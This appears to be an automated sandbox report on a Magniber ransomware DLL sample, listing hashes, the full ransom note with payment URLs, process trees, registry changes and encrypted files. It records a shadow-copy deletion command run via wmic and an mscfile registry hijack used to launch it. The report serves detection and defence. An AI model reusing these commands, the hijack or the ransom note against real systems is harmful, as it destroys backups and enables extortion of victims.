magniber | 598e6aa444a25c2442e321af24044fbfbf22a68843586cf058c29d5ac2b48461

Analysis

max time kernel
118s
max time network
131s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-12-2023 10:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

adcd96c04e6729479b71004ec131f43e.dll
Size

38KB
MD5

adcd96c04e6729479b71004ec131f43e
SHA1

08699a15fec12a40a1aab8cf8073c0fc4629ecfb
SHA256

598e6aa444a25c2442e321af24044fbfbf22a68843586cf058c29d5ac2b48461
SHA512

2400e0246eb653d254724e539b53bedc1e0817c61d23a58d9ca72c22ce4e71c480d92462dae06af8a8626d9e49a73f458a74c3aac10a735263ea11ba3c754985
SSDEEP

768:40PNWfnUqS31SdW3ZM0twjSamZjDrUim1hC3WpkqJNAhMO5zFtcAK72Rcv:4wemSdW3ZM0tc6jDw145mNAh95RtcAKa

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://364070b0500094e0cedgkqvhhrv.hy5tprdl77synlgxroueyzpat4iszkkx52r4i3ufbg6l7b32zqkyc5ad.onion/dgkqvhhrv Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://364070b0500094e0cedgkqvhhrv.metthe.top/dgkqvhhrv http://364070b0500094e0cedgkqvhhrv.sameleg.site/dgkqvhhrv http://364070b0500094e0cedgkqvhhrv.keystwo.uno/dgkqvhhrv http://364070b0500094e0cedgkqvhhrv.iflook.club/dgkqvhhrv Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://364070b0500094e0cedgkqvhhrv.hy5tprdl77synlgxroueyzpat4iszkkx52r4i3ufbg6l7b32zqkyc5ad.onion/dgkqvhhrv

http://364070b0500094e0cedgkqvhhrv.metthe.top/dgkqvhhrv

http://364070b0500094e0cedgkqvhhrv.sameleg.site/dgkqvhhrv

http://364070b0500094e0cedgkqvhhrv.keystwo.uno/dgkqvhhrv

http://364070b0500094e0cedgkqvhhrv.iflook.club/dgkqvhhrv

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral1/memory/2664-1-0x0000000001CD0000-0x00000000023AA000-memory.dmp	family_magniber
behavioral1/memory/1124-103-0x0000000000410000-0x0000000000414000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 10 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	1508	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1600	1508	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2388	1508	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	1508	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2156	1508	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2652	1508	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	616	1508	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1072	1508	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1032	1508	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2900	1508	vssadmin.exe	48

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (63) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2664 set thread context of 1124	2664	rundll32.exe	17
PID 2664 set thread context of 1176	2664	rundll32.exe	16
PID 2664 set thread context of 1232	2664	rundll32.exe	15
PID 2664 set thread context of 1052	2664	rundll32.exe	13

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2652	vssadmin.exe
616	vssadmin.exe
1072	vssadmin.exe
1032	vssadmin.exe
2900	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 13 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1144	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2664	rundll32.exe
2664	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe
2664	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1232	Explorer.EXE
Token: SeShutdownPrivilege	1232	Explorer.EXE
Token: SeShutdownPrivilege	1232	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2268	WMIC.exe
Token: SeSecurityPrivilege	2268	WMIC.exe
Token: SeTakeOwnershipPrivilege	2268	WMIC.exe
Token: SeLoadDriverPrivilege	2268	WMIC.exe
Token: SeSystemProfilePrivilege	2268	WMIC.exe
Token: SeSystemtimePrivilege	2268	WMIC.exe
Token: SeProfSingleProcessPrivilege	2268	WMIC.exe
Token: SeIncBasePriorityPrivilege	2268	WMIC.exe
Token: SeCreatePagefilePrivilege	2268	WMIC.exe
Token: SeBackupPrivilege	2268	WMIC.exe
Token: SeRestorePrivilege	2268	WMIC.exe
Token: SeShutdownPrivilege	2268	WMIC.exe
Token: SeDebugPrivilege	2268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2268	WMIC.exe
Token: SeRemoteShutdownPrivilege	2268	WMIC.exe
Token: SeUndockPrivilege	2268	WMIC.exe
Token: SeManageVolumePrivilege	2268	WMIC.exe
Token: 33	2268	WMIC.exe
Token: 34	2268	WMIC.exe
Token: 35	2268	WMIC.exe
Token: SeShutdownPrivilege	1232	Explorer.EXE
Token: SeShutdownPrivilege	1232	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2260	WMIC.exe
Token: SeSecurityPrivilege	2260	WMIC.exe
Token: SeTakeOwnershipPrivilege	2260	WMIC.exe
Token: SeLoadDriverPrivilege	2260	WMIC.exe
Token: SeSystemProfilePrivilege	2260	WMIC.exe
Token: SeSystemtimePrivilege	2260	WMIC.exe
Token: SeProfSingleProcessPrivilege	2260	WMIC.exe
Token: SeIncBasePriorityPrivilege	2260	WMIC.exe
Token: SeCreatePagefilePrivilege	2260	WMIC.exe
Token: SeBackupPrivilege	2260	WMIC.exe
Token: SeRestorePrivilege	2260	WMIC.exe
Token: SeShutdownPrivilege	2260	WMIC.exe
Token: SeDebugPrivilege	2260	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2260	WMIC.exe
Token: SeRemoteShutdownPrivilege	2260	WMIC.exe
Token: SeUndockPrivilege	2260	WMIC.exe
Token: SeManageVolumePrivilege	2260	WMIC.exe
Token: 33	2260	WMIC.exe
Token: 34	2260	WMIC.exe
Token: 35	2260	WMIC.exe
Token: SeShutdownPrivilege	1232	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	2508	WMIC.exe
Token: SeSecurityPrivilege	2508	WMIC.exe
Token: SeTakeOwnershipPrivilege	2508	WMIC.exe
Token: SeLoadDriverPrivilege	2508	WMIC.exe
Token: SeSystemProfilePrivilege	2508	WMIC.exe
Token: SeSystemtimePrivilege	2508	WMIC.exe
Token: SeProfSingleProcessPrivilege	2508	WMIC.exe
Token: SeIncBasePriorityPrivilege	2508	WMIC.exe
Token: SeCreatePagefilePrivilege	2508	WMIC.exe
Token: SeBackupPrivilege	2508	WMIC.exe
Token: SeRestorePrivilege	2508	WMIC.exe
Token: SeShutdownPrivilege	2508	WMIC.exe
Token: SeDebugPrivilege	2508	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2508	WMIC.exe
Token: SeRemoteShutdownPrivilege	2508	WMIC.exe
Token: SeUndockPrivilege	2508	WMIC.exe
Token: SeManageVolumePrivilege	2508	WMIC.exe
Token: 33	2508	WMIC.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1232	Explorer.EXE
1232	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 1144	1124	taskhost.exe	28
PID 1124 wrote to memory of 1144	1124	taskhost.exe	28
PID 1124 wrote to memory of 1144	1124	taskhost.exe	28
PID 1124 wrote to memory of 2376	1124	taskhost.exe	29
PID 1124 wrote to memory of 2376	1124	taskhost.exe	29
PID 1124 wrote to memory of 2376	1124	taskhost.exe	29
PID 1124 wrote to memory of 3016	1124	taskhost.exe	30
PID 1124 wrote to memory of 3016	1124	taskhost.exe	30
PID 1124 wrote to memory of 3016	1124	taskhost.exe	30
PID 3016 wrote to memory of 2268	3016	cmd.exe	45
PID 3016 wrote to memory of 2268	3016	cmd.exe	45
PID 3016 wrote to memory of 2268	3016	cmd.exe	45
PID 1176 wrote to memory of 1156	1176	Dwm.exe	33
PID 1176 wrote to memory of 1156	1176	Dwm.exe	33
PID 1176 wrote to memory of 1156	1176	Dwm.exe	33
PID 1232 wrote to memory of 1428	1232	Explorer.EXE	35
PID 1232 wrote to memory of 1428	1232	Explorer.EXE	35
PID 1232 wrote to memory of 1428	1232	Explorer.EXE	35
PID 1156 wrote to memory of 2508	1156	cmd.exe	41
PID 1156 wrote to memory of 2508	1156	cmd.exe	41
PID 1156 wrote to memory of 2508	1156	cmd.exe	41
PID 1428 wrote to memory of 2260	1428	cmd.exe	40
PID 1428 wrote to memory of 2260	1428	cmd.exe	40
PID 1428 wrote to memory of 2260	1428	cmd.exe	40
PID 1052 wrote to memory of 2336	1052	DllHost.exe	38
PID 1052 wrote to memory of 2336	1052	DllHost.exe	38
PID 1052 wrote to memory of 2336	1052	DllHost.exe	38
PID 2664 wrote to memory of 1568	2664	rundll32.exe	44
PID 2664 wrote to memory of 1568	2664	rundll32.exe	44
PID 2664 wrote to memory of 1568	2664	rundll32.exe	44
PID 2336 wrote to memory of 956	2336	cmd.exe	43
PID 2336 wrote to memory of 956	2336	cmd.exe	43
PID 2336 wrote to memory of 956	2336	cmd.exe	43
PID 1568 wrote to memory of 1872	1568	cmd.exe	47
PID 1568 wrote to memory of 1872	1568	cmd.exe	47
PID 1568 wrote to memory of 1872	1568	cmd.exe	47
PID 2376 wrote to memory of 1412	2376	cmd.exe	46
PID 2376 wrote to memory of 1412	2376	cmd.exe	46
PID 2376 wrote to memory of 1412	2376	cmd.exe	46
PID 2156 wrote to memory of 3000	2156	cmd.exe	59
PID 2156 wrote to memory of 3000	2156	cmd.exe	59
PID 2156 wrote to memory of 3000	2156	cmd.exe	59
PID 1600 wrote to memory of 2588	1600	cmd.exe	60
PID 1600 wrote to memory of 2588	1600	cmd.exe	60
PID 1600 wrote to memory of 2588	1600	cmd.exe	60
PID 2388 wrote to memory of 2744	2388	cmd.exe	62
PID 2388 wrote to memory of 2744	2388	cmd.exe	62
PID 2388 wrote to memory of 2744	2388	cmd.exe	62
PID 1612 wrote to memory of 3008	1612	cmd.exe	61
PID 1612 wrote to memory of 3008	1612	cmd.exe	61
PID 1612 wrote to memory of 3008	1612	cmd.exe	61
PID 2088 wrote to memory of 2756	2088	cmd.exe	63
PID 2088 wrote to memory of 2756	2088	cmd.exe	63
PID 2088 wrote to memory of 2756	2088	cmd.exe	63
PID 3000 wrote to memory of 2640	3000	CompMgmtLauncher.exe	67
PID 3000 wrote to memory of 2640	3000	CompMgmtLauncher.exe	67
PID 3000 wrote to memory of 2640	3000	CompMgmtLauncher.exe	67
PID 2744 wrote to memory of 2628	2744	CompMgmtLauncher.exe	66
PID 2744 wrote to memory of 2628	2744	CompMgmtLauncher.exe	66
PID 2744 wrote to memory of 2628	2744	CompMgmtLauncher.exe	66
PID 3008 wrote to memory of 2580	3008	CompMgmtLauncher.exe	65
PID 3008 wrote to memory of 2580	3008	CompMgmtLauncher.exe	65
PID 3008 wrote to memory of 2580	3008	CompMgmtLauncher.exe	65
PID 2588 wrote to memory of 2592	2588	CompMgmtLauncher.exe	64

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:956

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\adcd96c04e6729479b71004ec131f43e.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1872
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2260

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2508

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1144
- C:\Windows\system32\cmd.exe
  cmd /c "start http://364070b0500094e0cedgkqvhhrv.metthe.top/dgkqvhhrv^&2^&24369993^&63^&345^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://364070b0500094e0cedgkqvhhrv.metthe.top/dgkqvhhrv&2&24369993&63&345&12
    3⤵
    - Modifies Internet Explorer settings
    PID:1412
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2268

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1612
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2580

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2592

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2628

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2756
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2128

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2640

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2652

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:616

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1072

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1032

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2892

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\BlockRestart.pptx.dgkqvhhrv

Filesize
229KB

MD5
8680cc92eb69c26593f5b09ff3be5567

SHA1
5057386e662e41733ad4c71f38d4da878403a254

SHA256
f2fc21e1eabca0c3fc60be27c4c6a6a9c2f95ff3a1bf4d88607ef6a75f2d0df1

SHA512
9c4e5eed37e6bb3bfbf60c633d9f53db237334ef9577e9b6eb479fb180644746dffe7af1091a7e201716eef5de95a211e446a648ed25f08720d5ddf3ddcc39f6

Download Submit
C:\Users\Admin\Desktop\BlockSend.wmv.dgkqvhhrv

Filesize
209KB

MD5
054c889fee1b502bb1c3bc3b62ead0ce

SHA1
3cee275335fd0811c676006a1eb89f0c4701397a

SHA256
1cb633d8e612413f354a7d4e11b8cf80cf5e099dc7ff4ea21343d9b7e3f4ab07

SHA512
0f2b65876473626c0481c3ae78f584567deef07573d4acb2b098c065a19b7ed946e186c9ad4504432e2e1c18440c940f5c47cd931273d05b7717b62a3b50b625

Download Submit
C:\Users\Admin\Desktop\DismountMerge.svg.dgkqvhhrv

Filesize
170KB

MD5
056d28dac6967bf69ae75728ab4acc51

SHA1
fa69225c3ea876233b76bb51fbd97932b61e38bb

SHA256
f97504caedec8b5d8df7feb73b7ed69204f95d1220fc24b11d308945f0d9d3da

SHA512
3906baf5b31dfe8de223ff0c33b54da537b43faabf7b2da2171c107ff1992ad544a1758700375620283b78a96f6bc33bb390b11b6d57c4ae78caf2de9f46b712

Download Submit
C:\Users\Admin\Desktop\FindMount.jpg.dgkqvhhrv

Filesize
257KB

MD5
0d346442f437d0514f62372f21ed7be1

SHA1
c224853c39a0a0d5f063536e57caf44a103f4d47

SHA256
74b7b72b1e8d4a678860390a0f69003727698db925ff9734b1188fd97ccd1cfe

SHA512
34dc78426a886d4d2336a9ff4f3b1b7d530ab1d38c66b34639e714af45fe7b0aaee0186e59f4a55299e8a5242a68f651edefb93c5f7582f57cf44bf3b0004d0b

Download Submit
C:\Users\Admin\Desktop\MeasureRedo.bmp.dgkqvhhrv

Filesize
287KB

MD5
0a85ec0055e4d4b9753a157d751de154

SHA1
8a40c1e5caa4f5d8550a31208613c00516a980c6

SHA256
9ac3f71dafeba8a57aab5c202fe755a015441d91d1f3c511182c5293916345a0

SHA512
be1808106e09a6021226c3ad8cd4c6fa20346319476afb3a67e8be0fa326e8d56a5658243263b41f420b906ebc0f00bf0330dc316e2c8b713a819de9467b02d0

Download Submit
C:\Users\Admin\Desktop\RequestFind.bmp.dgkqvhhrv

Filesize
365KB

MD5
2d76a93a0708d5a695c65419de73f9fa

SHA1
10a4fccfad92ac8afe2bde17cb8ccbf712be215b

SHA256
744f48678fe585ed3411950665c243bed47077d961266d7fe197987e576e30f2

SHA512
439a9788f00e80e427cace9bab0922d1a33c86f21344d1512bca6cef7eab4fe63e651c334de4e81dd7af72e7224a6f05f4448aa0072628c446b60a38982f18e8

Download Submit
C:\Users\Admin\Desktop\RevokeAssert.doc.dgkqvhhrv

Filesize
555KB

MD5
fd66abc9519ca9df7fdbc0e9dfb3f9f0

SHA1
011e32ebaef21b60ae36659e1ce926bfc01eb30f

SHA256
15404e6cf324ad23f526f36ec507fb857bc8a9d9433282e8f7f3135ae7f7622c

SHA512
6023796bbe4dfd2f5b6b30757ab4c31b981d0257135fbcc6bc1b80c2798f71cc22bd0f7d6d5b49e36295f0c540f369e87345ec5f431d3b3225b3c87a1e3e1ddf

Download Submit
C:\Users\Admin\Desktop\ShowMerge.csv.dgkqvhhrv

Filesize
316KB

MD5
1924d35cfcb2bcd11308197e43d34e12

SHA1
209cb8d6200535744368fb8f6610c3480eb7ae9b

SHA256
79e62f9032f2e207469e62ca4c34a8f907bbef44a408fecb3abec282af2044c2

SHA512
bdd44e9b7fdfbb1802f94b7fe96b1cb48195f70672adb7cfccd92d8c58090cee3e44e2705f1ac7ab35c32b99d2918002efc4d45c69b5acbea60ee883edd3231c

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
19068973d6e6d83d3f53f5cf234796a2

SHA1
d7fafeb93593718df1f7ebe807731878c383da2c

SHA256
220f2705300399c850309f42fe257627738ad659c8d5db453bbfd327753f862b

SHA512
0521bef6210f83acbb0ced98aa18308436464fcebf9612cb80fe9837b9141b9ea0ea88b6393ffcbe84255faab0b3253b1f1c6c2adb9bbfab2f32440d464fbfad

Download Submit
memory/1052-247-0x0000000000370000-0x0000000000380000-memory.dmp

Filesize
64KB

Download
memory/1124-0-0x0000000000410000-0x0000000000414000-memory.dmp

Filesize
16KB

Download
memory/1124-103-0x0000000000410000-0x0000000000414000-memory.dmp

Filesize
16KB

Download
memory/2664-47-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/2664-101-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/2664-83-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/2664-102-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/2664-104-0x0000000002760000-0x0000000002761000-memory.dmp

Filesize
4KB

Download
memory/2664-93-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/2664-36-0x0000000001C20000-0x0000000001C21000-memory.dmp

Filesize
4KB

Download
memory/2664-60-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/2664-39-0x0000000001C40000-0x0000000001C41000-memory.dmp

